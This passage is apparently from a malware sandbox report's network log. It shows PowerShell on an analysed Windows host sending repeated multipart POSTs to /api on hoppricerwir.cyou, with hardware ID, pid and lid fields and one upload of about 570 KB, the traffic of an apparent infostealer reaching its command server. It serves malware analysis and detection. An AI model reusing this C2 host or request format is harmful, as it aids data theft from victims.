VUxDog1kEh/Jrgq2xx/kS67jLOptKua3DiQiUDRWwQzRTFHxHLQSDJhmCbXD3+LfYWCsYW8uszACN3YRocQUUoSMUfQctBICGGOIuIaaY4swM+6sfPlmv1HzMpfyBRNNBwpWfZygx4gdps3xhR0llLO1+n14e+IkRie1nCFW11KBEhZiCTIUHUo2DONQTjAb5ydu6Slvp39OfnfRcwLWx1TMQ6IPchQHiaRJtYIbop8ic+C6fOlmptH68pBxRxK
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 58 50 66 6f 41 5a 4b 6d 72 59 62 34 30 4d 63 34 74 71 67 35 72 79 74 71 57 2b 7a 4d 52 4c 31 74 68 43 78 31 74 6a 52 42 78 70 41 4a 42 79 76 51 73 70 61 4a 38 33 33 46 52 59 6a 47 43 4e 67 37 79 67 38 2f 4f 61 78 55 65 47 6d 67 47 4c 48 30 31 4b 42 43 45 53 6b 32 66 62 58 33 63 30 68 32 2f 55 57 57 37 48 4e 4e 7a 42 2f 62 58 7a 35 5a 71 45 42 4d 7a 62 53 63 67 4e 58 30 31 69 54 30 48 46 50 63 51 47 4c 47 61 66 4d 64 73 43 4e 49 39 76 6c 4a 57 44 6d 5a 69 78 33 4d 51 64 32 63 39 70 36 31 73 53 53 6c 4d 78 47 50 46 79 77 45 67 59 4b 4e 67 35 6a 55 45 34 73 6d 2b 41 67 62 71 78 6f 76 44 79 34 44 33 6b 69 32 50 4d 44 68 34 2b 57 32 46 52 77 7a 2b 45 53 47 6b 6d 6e 6d 47 56 53 54 62 48 61 4a 2f 50 35 66 66 68 35 6f 2b 51 55 49 36 62 55 49 55 43 48 42 77 63 4b Data Ascii: XPfoAZKmrYb40Mc4tqg5rytqW+zMRL1thCx1tjRBxpAJByvQspaJ833FRYjGCNg7yg8/OaxUeGmgGLH01KBCESk2fbX3c0h2/UWW7HNNzB/bXz5ZqEBMzbScgNX01iT0HFPcQGLGafMdsCNI9vlJWDmZix3MQd2c9p61sSSlMxGPFywEgYKNg5jUE4sm+AgbqxovDy4D3ki2PMDh4+W2FRwz+ESGkmnmGVSTbHaJ/P5ffh5o+QUI6bUIUCHBwcK
2025-01-09 08:33:11 UTC	1369	IN	Data Raw: 58 52 6a 34 6d 6a 6d 47 56 53 6a 62 48 66 73 37 58 2f 65 43 39 73 4e 76 41 43 64 33 62 58 63 30 59 53 67 6b 62 54 33 37 74 50 34 55 4e 4b 57 47 6d 48 2b 77 54 61 49 70 6a 69 63 32 64 6f 4b 57 2b 35 50 30 77 7a 38 35 66 69 54 31 66 48 46 38 78 44 6f 67 71 79 46 42 6e 52 35 49 78 77 42 5a 2f 78 55 79 4a 6d 62 37 6e 2f 66 33 65 67 31 2b 65 37 45 4c 47 48 6c 49 4e 48 6c 42 4b 32 44 2b 48 44 32 56 47 6e 7a 66 4f 57 54 62 48 59 4d 37 58 2f 61 61 35 72 64 66 4d 41 4a 4c 4f 56 63 78 62 45 6b 70 53 4d 52 69 49 4d 34 49 59 4b 6d 6d 66 62 63 73 58 64 73 64 7a 77 4a 62 39 73 66 50 6c 69 59 31 48 7a 49 6b 58 69 31 78 66 47 45 35 33 51 39 34 78 7a 7a 59 5a 53 34 6f 6d 33 52 6f 36 74 6d 47 4b 6d 61 69 6b 6f 37 72 6b 2f 53 72 4d 7a 6c 2f 49 57 57 30 63 58 33 46 4f 7a 33 Data Ascii: XRj4mjmGVSjbHfs7X/eC9sNvACd3bXc0YSgkbT37tP4UNKWGmH+wTaIpjic2doKW+5P0wz85fiT1fHF8xDogqyFBnR5IxwBZ/xUyJmb7n/f3eg1+e7ELGHlINHlBK2D+HD2VGnzfOWTbHYM7X/aa5rdfMAJLOVcxbEkpSMRiIM4IYKmmfbcsXdsdzwJb9sfPliY1HzIkXi1xfGE53Q94xzzYZS4om3Ro6tmGKmaiko7rk/SrMzl/IWW0cX3FOz3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49994	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:12 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BZ1YNC28EKU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12818 Host: hoppricerwir.cyou
2025-01-09 08:33:12 UTC	12818	OUT	Data Raw: 2d 2d 42 5a 31 59 4e 43 32 38 45 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 42 36 30 38 34 31 41 38 39 45 33 33 33 36 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 42 5a 31 59 4e 43 32 38 45 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 5a 31 59 4e 43 32 38 45 4b 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 42 5a 31 59 4e 43 32 38 45 4b 55 0d 0a 43 6f 6e Data Ascii: --BZ1YNC28EKUContent-Disposition: form-data; name="hwid"E8B60841A89E3336D0632DF0E28DC412--BZ1YNC28EKUContent-Disposition: form-data; name="pid"2--BZ1YNC28EKUContent-Disposition: form-data; name="lid"yJEcaG--singl7--BZ1YNC28EKUCon
2025-01-09 08:33:13 UTC	1134	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=unogklk5ashc0rcbhmjqt4qrkm; expires=Mon, 05 May 2025 02:19:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cw2H9Qns%2FpsZlKdPbejmxTpE%2F6FqsIb1stLIgMT2evxDQZgl71NDzZcJ9rEn%2FfnQSx6c6UYlFXJwMrGxUEJWhyK4IZU9uAYgmrnxMxwwOK7Z57aWRYcWrpSgoXBp%2F3i3odD01A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314c72a561875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1659&rtt_var=655&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13752&delivery_rate=1629464&cwnd=153&unsent_bytes=0&cid=98fa6fe4cf24922c&ts=393&x=0"
2025-01-09 08:33:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 08:33:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49995	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Q3BZYI5R4ZE2V1RV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15094 Host: hoppricerwir.cyou
2025-01-09 08:33:13 UTC	15094	OUT	Data Raw: 2d 2d 51 33 42 5a 59 49 35 52 34 5a 45 32 56 31 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 42 36 30 38 34 31 41 38 39 45 33 33 33 36 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 51 33 42 5a 59 49 35 52 34 5a 45 32 56 31 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 33 42 5a 59 49 35 52 34 5a 45 32 56 31 52 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 51 Data Ascii: --Q3BZYI5R4ZE2V1RVContent-Disposition: form-data; name="hwid"E8B60841A89E3336D0632DF0E28DC412--Q3BZYI5R4ZE2V1RVContent-Disposition: form-data; name="pid"2--Q3BZYI5R4ZE2V1RVContent-Disposition: form-data; name="lid"yJEcaG--singl7--Q
2025-01-09 08:33:14 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3g92rjt85mo8u0h4evqr6li8r1; expires=Mon, 05 May 2025 02:19:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59yfEf9EfTquZzZjFTqDktz57Qj9TO%2BiQCJaO3uf7WF5kkgslIW0zwLETU8q9IgeXEOioboUpuJUH7cb5i%2BViLLmu03jPFnpcVlB6ArPJ2lSwG1uA7U3S85LA3qb1Q7MUEf19Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314cc9a5d72b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1798&rtt_var=675&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16033&delivery_rate=1618625&cwnd=214&unsent_bytes=0&cid=14e31e3a218f1e7e&ts=514&x=0"
2025-01-09 08:33:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 08:33:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49996	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GCD4SAT76QKIL0EU8RH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19970 Host: hoppricerwir.cyou
2025-01-09 08:33:14 UTC	15331	OUT	Data Raw: 2d 2d 47 43 44 34 53 41 54 37 36 51 4b 49 4c 30 45 55 38 52 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 42 36 30 38 34 31 41 38 39 45 33 33 33 36 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 47 43 44 34 53 41 54 37 36 51 4b 49 4c 30 45 55 38 52 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 43 44 34 53 41 54 37 36 51 4b 49 4c 30 45 55 38 52 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 Data Ascii: --GCD4SAT76QKIL0EU8RHContent-Disposition: form-data; name="hwid"E8B60841A89E3336D0632DF0E28DC412--GCD4SAT76QKIL0EU8RHContent-Disposition: form-data; name="pid"3--GCD4SAT76QKIL0EU8RHContent-Disposition: form-data; name="lid"yJEcaG--si
2025-01-09 08:33:14 UTC	4639	OUT	Data Raw: 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f Data Ascii: 2+?2+?2+?o?Mp5
2025-01-09 08:33:15 UTC	1137	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ctcc393danh5g44sq8p8ag4kvc; expires=Mon, 05 May 2025 02:19:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dbq%2Fo77bSznPZD500wqG1ghjeQ6%2FdCID9PjoVshZd1CedqpCYxJKZzrWHCrPjJaAsuUUDUP%2FZ7rUG%2BYOKatkpURQN8dTNBC1pqcfy5%2BWzjTEVjF26QMc1ezKS5fV0WWJBD5vKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314d2edf972b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1797&min_rtt=1796&rtt_var=677&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=20934&delivery_rate=1612368&cwnd=214&unsent_bytes=0&cid=6ab6c5371b6f4225&ts=624&x=0"
2025-01-09 08:33:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 08:33:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49997	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:15 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K15SQR2VVJ40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1207 Host: hoppricerwir.cyou
2025-01-09 08:33:15 UTC	1207	OUT	Data Raw: 2d 2d 4b 31 35 53 51 52 32 56 56 4a 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 42 36 30 38 34 31 41 38 39 45 33 33 33 36 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 4b 31 35 53 51 52 32 56 56 4a 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 31 35 53 51 52 32 56 56 4a 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 4b 31 35 53 51 52 32 56 56 4a 34 30 0d Data Ascii: --K15SQR2VVJ40Content-Disposition: form-data; name="hwid"E8B60841A89E3336D0632DF0E28DC412--K15SQR2VVJ40Content-Disposition: form-data; name="pid"1--K15SQR2VVJ40Content-Disposition: form-data; name="lid"yJEcaG--singl7--K15SQR2VVJ40
2025-01-09 08:33:16 UTC	1128	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 08:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=51nq4n7n044jm6urrnedavi491; expires=Mon, 05 May 2025 02:19:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4E7yJSRQWt9UbSBaFfhcU7AM9lLGJ6HLlsq3i3KBODpKS7h7y4yOspvaGwo28LSSRGe375XejCulycjcAthzU5CeX5ymnQ4RwK6fCh8%2F%2FsbOYDCBAEu5BaqintKmeAxnnCrNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff314da4edf41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1579&rtt_var=597&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2119&delivery_rate=1823860&cwnd=241&unsent_bytes=0&cid=95fee00cabfd8ba7&ts=456&x=0"
2025-01-09 08:33:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-09 08:33:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49998	104.21.32.1	443	8108	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 08:33:17 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3NIZQHZJL2L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569880 Host: hoppricerwir.cyou
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 2d 2d 33 4e 49 5a 51 48 5a 4a 4c 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 42 36 30 38 34 31 41 38 39 45 33 33 33 36 44 30 36 33 32 44 46 30 45 32 38 44 43 34 31 32 0d 0a 2d 2d 33 4e 49 5a 51 48 5a 4a 4c 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 4e 49 5a 51 48 5a 4a 4c 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 37 0d 0a 2d 2d 33 4e 49 5a 51 48 5a 4a 4c 32 4c 0d 0a 43 6f 6e Data Ascii: --3NIZQHZJL2LContent-Disposition: form-data; name="hwid"E8B60841A89E3336D0632DF0E28DC412--3NIZQHZJL2LContent-Disposition: form-data; name="pid"1--3NIZQHZJL2LContent-Disposition: form-data; name="lid"yJEcaG--singl7--3NIZQHZJL2LCon
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: a3 f7 33 c3 05 8e 9a ea 08 cb 73 e3 a5 01 ce 9b a5 ff dd 57 f0 ff 7d c9 00 f4 8a 6e 30 8b 03 89 16 d4 62 2e 60 d7 fe 5a ce 64 da 64 8e c6 fa a6 b0 4b 28 7e db 50 bc 9d 94 90 83 71 f0 56 9c b9 73 cf af a6 27 37 20 02 2e a6 65 3b 7b e2 40 9b 32 ef 0f 0b 74 fc b6 3c e7 6a 48 49 03 a6 6e 13 54 ea d0 02 36 df 66 46 26 bd 33 67 8b f5 c9 d1 5d 78 50 dc 68 44 ca 93 c5 29 0d fe 77 dd 64 6a 9d 95 a2 f6 30 ac c0 aa 04 76 1e fc 1f 95 55 98 f2 b3 98 39 0a 12 13 04 b9 2b 73 9b 5d c4 79 a4 15 e5 06 ee 62 8e 6f a8 a6 30 99 44 43 bc 8e f0 86 dc ca a7 10 d8 78 5b e9 83 48 53 2c ec ff 13 5a db 8a 53 35 bb 63 1d 56 a9 ec 00 91 27 9a 1b 3b d3 3a f9 13 e6 57 eb ea ec 63 82 2e b4 a7 47 5b 45 46 7c c1 1d df 4d 43 a5 56 9e e9 ec cc df a9 54 b6 0e eb 7c cf 67 db 36 d2 10 d8 03 f1 Data Ascii: 3sW}n0b.`ZddK(~PqVs'7 .e;{@2t<jHInT6fF&3g]xPhD)wdj0vU9+s]ybo0DCx[HS,ZS5cV';:Wc.G[EF\|MCVT\|g6
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 0f 43 98 45 5a cd 9a 57 99 75 ee e3 e6 a2 4f 47 6f 67 fc 7a 5c cd a2 42 db ef 32 3b 8b ff 1a ec 36 16 80 b5 8a 1d 31 a2 4c a7 3c 34 92 ef 5b 45 35 9b 52 ef 73 65 2f 32 24 36 87 35 03 70 97 cc d9 c1 82 64 21 7e 28 09 bc fc 1e fd 44 b5 cc 90 9e bb a3 c5 78 63 fb 51 d5 a4 39 44 de 55 5b e7 b0 b2 3b b1 8f b7 21 c1 76 15 d8 31 c4 25 a5 ec 54 f5 e7 97 b1 a3 91 4c f5 d2 a1 74 31 b3 56 86 3c 34 69 d4 48 6e d1 6b a2 24 2d eb ff 05 96 c2 31 49 0a 6a 93 22 54 02 fb c6 c7 03 c7 6e 0e e0 ed 73 92 c0 52 66 28 69 e6 89 30 69 6a 7a 75 e2 0d a5 96 5f b1 37 bd b4 47 7f 63 fa 38 15 89 2d 84 2d 2a e4 ab 27 65 9c 1c ec 57 2d a6 1e 76 09 9a c3 91 26 83 6a 90 23 9d e5 58 eb f0 33 bc 8c 75 83 78 d0 e4 87 3a 0f 0f ee 33 24 a3 8f aa 1d ed 02 3b 30 8f 3d ed de 53 7e d1 3b fe f5 19 Data Ascii: CEZWuOGogz\B2;61L<4[E5Rse/2$65pd!~(DxcQ9DU[;!v1%TLt1V<4iHnk$-1Ij"TnsRf(i0ijzu_7Gc8--*'eW-v&j#X3ux:3$;0=S~;
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: 3a f4 ae bf 5c 2c df e2 1e c1 f8 0c cc 7c 4c 0b 9b d6 68 61 fc 6d b0 33 b3 be e3 27 c6 e8 0a 71 4b 97 81 c5 e4 6b 2b 38 df fd ae 29 d1 a1 71 66 ac e2 61 45 da 23 7d f1 bf c9 75 ad d5 55 45 36 9c bc bf e5 04 d3 5f e6 9a 8f 7c ef 9e 6a ff 37 3c 50 87 a8 7a 4c ea c3 1c b8 7f 6c 7f ec e4 8a 36 9b 5a fd e5 54 da 42 70 e3 5a 6c d9 17 c3 eb e3 77 d6 8c a6 f8 8e d3 52 43 59 b9 57 ff 3a b1 e9 fd c9 50 81 16 e2 f8 f5 5b ec c6 d4 82 ac 15 be 70 66 a1 2a 21 fd 5c e8 7c 7f 98 c3 a7 fa ea bf dd e5 7e ca b5 5e 6c e5 54 8d 45 88 a4 06 fa 0f b2 d4 64 7c 96 27 d6 5e 7a 2f 9f 36 e1 03 ed 4b 9c 98 59 86 bd 23 56 a9 e2 80 a2 ea 30 ad fd d7 70 cf 7e 4e 27 87 15 aa e0 be fc 35 17 ed ff 54 83 77 45 4a e5 14 af 89 15 fe d7 88 d0 dd 23 83 79 2b c6 8a 5a db d4 a5 eb 6a cd 2f 69 4e Data Ascii: :\,\|Lham3'qKk+8)qfaE#}uUE6_\|j7<PzLl6ZTBpZlwRCYW:P[pf*!\\|~^lTEd\|'^z/6KY#V0p~N'5TwEJ#y+Zj/iN
2025-01-09 08:33:17 UTC	15331	OUT	Data Raw: e1 77 ab 51 45 ce 69 62 71 fa 8d 34 68 c1 0a 63 1c 84 18 eb c1 9e b8 42 63 3a 01 74 e1 0b e3 37 a7 15 0d 45 6f f5 a6 e4 47 d2 3b f2 0c 95 30 dc 5f 05 cf 37 91 9e d7 0e ca 9f e7 83 6a 08 e0 7c b3 d8 13 16 75 82 d9 97 53 90 b6 d5 23 bc fb d1 23 67 51 f7 b1 4f 1e 26 2b 40 89 d4 15 10 1a f5 52 36 0b 5f 84 0d ed de 65 c3 85 91 90 eb 56 67 b1 a4 07 f9 4a 76 84 e6 bf fd c8 56 03 45 4d 41 25 ab e8 5f 27 c9 f1 02 02 7f e6 58 29 d7 e6 72 d7 78 6b fd 95 35 2e 60 f7 db f4 81 08 a8 a0 d5 d4 15 5d 6a e3 df bb 7a ee c2 c2 c9 f3 7e 49 8b 36 c7 2a 7e b9 1f 7b c7 34 3f ef fc 88 4e 5e e0 f9 cf dc a7 63 5f 99 fb 32 9a 6e 94 0c f3 fd ff ce d9 75 49 50 fa 8b 07 a9 04 f3 20 33 06 96 9d 7f 29 c8 a8 2a a7 a5 b5 a2 4b 00 c2 73 e4 31 d1 77 07 69 27 40 c7 07 ce b6 50 d2 81 a3 3e 96 Data Ascii: wQEibq4hcBc:t7EoG;0_7j\|uS##gQO&+@R6_eVgJvVEMA%_'X)rxk5.`]jz~I6~{4?N^c_2nuIP 3)Ks1wi'@P>
